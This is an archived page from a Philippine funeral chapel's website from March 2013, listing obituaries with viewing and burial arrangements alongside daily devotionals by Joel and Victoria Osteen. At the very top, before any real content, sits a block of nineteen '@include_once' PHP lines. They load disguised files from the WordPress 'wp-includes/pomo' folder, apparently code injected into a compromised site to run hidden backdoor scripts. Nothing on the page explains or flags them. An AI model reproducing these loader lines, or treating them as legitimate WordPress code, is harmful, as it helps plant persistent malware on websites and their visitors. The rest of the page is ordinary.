@include_once("wp-includes/pomo/wp-adjust-blog_vv1x01/wp-adjust-blog_vv1x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_vh5x01/wp-adjust-blog_vh5x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vh5x01/wp-adjust-cache_vh5x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vv1x01/wp-adjust-cache_vv1x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_vh6x04/wp-adjust-blog_vh6x04.php"); @include_once("wp-includes/pomo/wp-adjust-blog_vh7x04/wp-adjust-blog_vh7x04.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vh6x01/wp-adjust-cache_vh6x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vh7x01/wp-adjust-cache_vh7x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_vh9x01/wp-adjust-blog_vh9x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vh8x01/wp-adjust-cache_vh8x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vh9x01/wp-adjust-cache_vh9x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_pv3x02/wp-adjust-blog_pv3x02.php"); @include_once("wp-includes/pomo/wp-adjust-cache_pv3x01/wp-adjust-cache_pv3x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_pk2x01/wp-adjust-blog_pk2x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_pk2x01/wp-adjust-cache_pk2x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_pk3x01/wp-adjust-blog_pk3x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_pk3x01/wp-adjust-cache_pk3x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_pd1x02/wp-adjust-blog_pd1x02.php"); @include_once("wp-includes/pomo/wp-adjust-cache_pd1x01/wp-adjust-cache_pd1x01.php"); 2013 March : Marian Memorial Chapels

Ma. Teresa de Padua Rolle

a former Vice President of Splash Corp., peacefully joined her Creator on the 27th of March 2013 at the age of 52.

Her remains lie in state for viewing at Chapel D-E (2nd floor) of Marian Memorial Chapels along Marcos Highway in Antipolo City.

Interment will be on Thursday April 4, 2013 at Eternal Gardens Memorial Park in Caloocan City after the 9AM Mass at St. Therese.

Andres Cardenas Tango


Filed under Obituaries

a retiree, peacefully joined his Creator on the 27th of March 2013 at the age of 72.

His remains lie in state for viewing at Chapel C (ground floor) of Marian Memorial Chapels along Marcos Highway in Antipolo City.

Interment will be on Tuesday April 2, 2013 at Loyola Memorial Park in Barangka, Marikina City at 10AM.

Be Still and Know

TODAY’S SCRIPTURE

“Be still, and know that I am God…”  (Psalm 46:10, NIV)

 

TODAY’S WORD

In our culture, most people are used to having constant activity: computers, cell phones, television, email, video games.  There’s nothing wrong with any of that, but the Bible tells us that we need to stop and be still so we can focus on knowing God.  I’ve found this to be true especially during the difficult times.  When we are facing a challenge, it’s easy to want to run to a friend or talk about it with a co-worker.  But at some point, we have to stop and say, “God, I rest in You.  I know You have me in the palm of Your hand.”

Remember, our battles are spiritual battles.  The people in our lives aren’t the source of our problems, the forces of darkness are.  When we choose to be still and know that the Greater One lives on the inside of us, we are putting ourselves in a position of strength.

So today, let us take time to be still before Him.  Let His peace cover us.  Let Him refresh us by His Spirit.  Remember, the battles we face belong to the Lord.  Be still before Him so we can see His hand of victory in every area of our life!

 

A PRAYER FOR TODAY

Father in heaven, I humbly come before You.  I choose to be still before You.  Speak to my heart so I can know You more.  Fill me with Your peace as I put my trust in You.  In Jesus’ name, I pray.  Amen.

 

— Joel & Victoria Osteen

Through Faith and Patience

TODAY’S SCRIPTURE

“…imitate those who through faith and patience inherit what has been promised.”  (Hebrews 6:12, NIV)

 

TODAY’S WORD

In our culture today, people are used to getting things right away.  We’ve been programmed for immediacy.  People don’t like to wait.  But the Scripture says, “It’s through faith and patience that we inherit God’s promises.”  Sometimes, it’s easy for people to have faith.  We declare, “God, I believe I’m going to accomplish my dreams.  God, I believe I’m going to overcome this obstacle.”  But, it gets harder when we have to walk in patience.  When you pray, can you say, “God, I not only believe for big things, but I also trust Your timing.  God, I’m not going to get discouraged if it doesn’t happen immediately.  I’m not going to give up because it’s taken a week, a month, or five years.  I know the set time is already in my future, so I’m going to wait with faith and patience because I know that it’s on the way.”

Remember, through faith and patience we inherit His promises.  Trust His Word, trust His timing, and trust that our answer is on its way!

 

A PRAYER FOR TODAY

Father, today I declare that I trust You.  I trust Your faithfulness.  I trust Your goodness.  I know that You are working things out in my favor and in Your timing.  I declare that through faith and patience I will inherit every promise You have for me.  In Jesus’ name, I pray.  Amen!

 

— Joel & Victoria Osteen

Enter His Rest

TODAY’S SCRIPTURE

“For we who have believed do enter that rest…”  (Hebrews 4:3, NKJV)

 

TODAY’S WORD

God promises that there are set times in our future, but He doesn’t tell us when they will be.  Our set time may be tomorrow morning at 9:47.  We’ll get the phone call we’ve been waiting for.  Our set time may be two years from now.  We’ll get a good break and that will thrust us to a new level.  My question is, “Do we trust God enough to believe that our set times are coming?”  Are we willing to wait with a good attitude?  Are we willing to get a new perspective?

Remember, that set time is already in our future.  Don’t let the negative thoughts talk us out of it.  The way we know that we’re really believing is that we have rest on the inside.  We’re at peace.  We know the answer is on the way.  We trust that God is working things out.

Today, let us put our faith and trust in Him and enter into rest.  Know that He is good and He is for us!  Our set time of favor is on the way!

 

A PRAYER FOR TODAY

Father, today I choose to enter into rest.  I choose to trust You, I choose to put my faith and hope in You knowing that You are good and that You have good things in store for my future.  In Jesus’ name, I pray!  Amen.

 

— Joel & Victoria Osteen

Carmen Badong Litonjua

a real estate agent, peacefully joined her Creator on the 25th of March 2013 at the age of 64.

Her remains lie in state for viewing at Chapel B (ground floor) of Marian Memorial Chapels along Marcos Highway in Antipolo City.

Interment will be on Saturday March 30, 2013 at Heaven’s Gate II in Boso-boso, Antipolo City at 9AM.  Departure from Marian is scheduled at 8AM.

Look Again

TODAY’S SCRIPTURE

“ ‘Go and look toward the sea,’ he told his servant.  And he went up and looked.  ‘There is nothing there,’ he said.  Seven times Elijah said, ‘Go back.’  The seventh time the servant reported, ‘A cloud as small as a man’s hand is rising from the sea…”  (1 Kings 18:43–44, NIV)

 

TODAY’S WORD

The Bible says that after the prophet Elijah prayed and asked God to end the drought, he said to the people, “I can hear the sound of an abundance of rain.”

He was saying in effect, “There is a yes from God in our future!”

Elijah told his assistant to go look on the other side of the mountain to see if there was any sign of rain.  When the assistant came back, he said, “No, Elijah.  There’s not a cloud in the sky.  It’s perfectly clear.”  Elijah didn’t get discouraged and think, “What are we going to do now?  I might as well quit this prophet business.”  No, he simply said, “Go back and look again.”

This happened six different times, but Elijah kept saying, “Go look again.”  On the seventh time, the servant came back and said, “Elijah, I saw a small cloud in the sky.  It isn’t much, just the size of a man’s hand.”  Elijah’s answer was basically, “You’d better get your umbrella.  Rain is coming!”

Friend, like Elijah, maybe we are believing for something and we aren’t seeing anything happen.  Don’t give up, go look again!  If God has promised it, He will do it.  It won’t be long until we see His showers of blessing pouring down on every area of our life!

 

A PRAYER FOR TODAY

Father, thank You for Your faithfulness.  I believe that You are working behind the scenes even when I can’t see it.  I choose to keep believing.  I choose to look again until I see every promise fulfilled in Jesus’ name.  Amen.

 

— Joel & Victoria Osteen

Keep Asking

TODAY’S SCRIPTURE

“Keep on asking, and you will receive what you ask for.  Keep on seeking, and you will find.  Keep on knocking, and the door will be opened to you.”  (Matthew 7:7, NLT)

 

TODAY’S WORD

Sometimes, people get discouraged in life because things didn’t turn out the way they hoped on the first try.  Maybe they put energy into a relationship but it didn’t work out.  They tried that new business venture, but they are still struggling with their finances.  Now they think it’s never going to happen.  But, one thing we have to learn is that God honors perseverance.  On the way to our “yes” we may encounter some “no’s.”  We may encounter some closed doors, but that doesn’t mean it’s the final answer.  It just means “keep going.”

Remember, if God promised it, He’s going to bring it to pass.  Scripture tells us that through faith and patience we inherit God’s promises.  This is where patience comes in; this is where perseverance comes in.  This is where trust comes in.  Just because we don’t see things happen right away doesn’t mean we should quit.  No, instead, rise up and press forward.  Keep believing, keep hoping, keep enduring, and keep asking because our God is always faithful to His word!

 

A PRAYER FOR TODAY

Father, thank You for Your faithfulness in my life.  I choose today to believe Your Word.  I choose to trust Your promises.  I choose to keep standing, keep believing, and keep asking because I will receive in Jesus’ name!  Amen!

 

— Joel & Victoria Osteen

Renato Daquel Wee

peacefully joined his Creator on the 24th of March 2013 at the age of 74.

His remains lie in state for viewing at Chapel E (2nd floor) of Marian Memorial Chapels along Marcos Highway in Antipolo City.

Interment will be on Thursday March 28, 2013 at Holy Gardens along Sumulong Highway in Antipolo City 9AM.

Say “Yes” to His Yes!

TODAY’S SCRIPTURE

“For all the promises of God in Him are Yes, and in Him Amen, to the glory of God through us.”  (2 Corinthians 1:20, NKJV)

 

TODAY’S WORD

When God laid out the plan for our life, He lined up the right people, the right breaks, and the right open doors.  In other words, He already had our “yeses” planned out — Yes, we can accomplish our dreams. Yes, we can overcome that obstacle.  Yes, our children can fulfill their destiny.  Yes we can succeed.  YES is in our future!

The question is: Are we going to say “yes” to God’s “yes”?  Are we going to dare to believe Him — to get into agreement with His promises?

Let us start right now by declaring His promises over our life.  Start declaring that He is good and that His plan will come to pass.  Don’t let doubt and discouragement distract us.  Keep our eyes fixed on Him because He is faithful.  His promises are always yes and amen.  So say “yes” to His “yes”!

 

A PRAYER FOR TODAY

Father, today I say “yes” to You.  I say “yes” to Your promises and “yes” to Your ways.  Help me to live a life pleasing to You and bring You glory in all that I say and do.  In Jesus’ name, I pray.  Amen.

 

— Joel & Victoria Osteen

Next Page »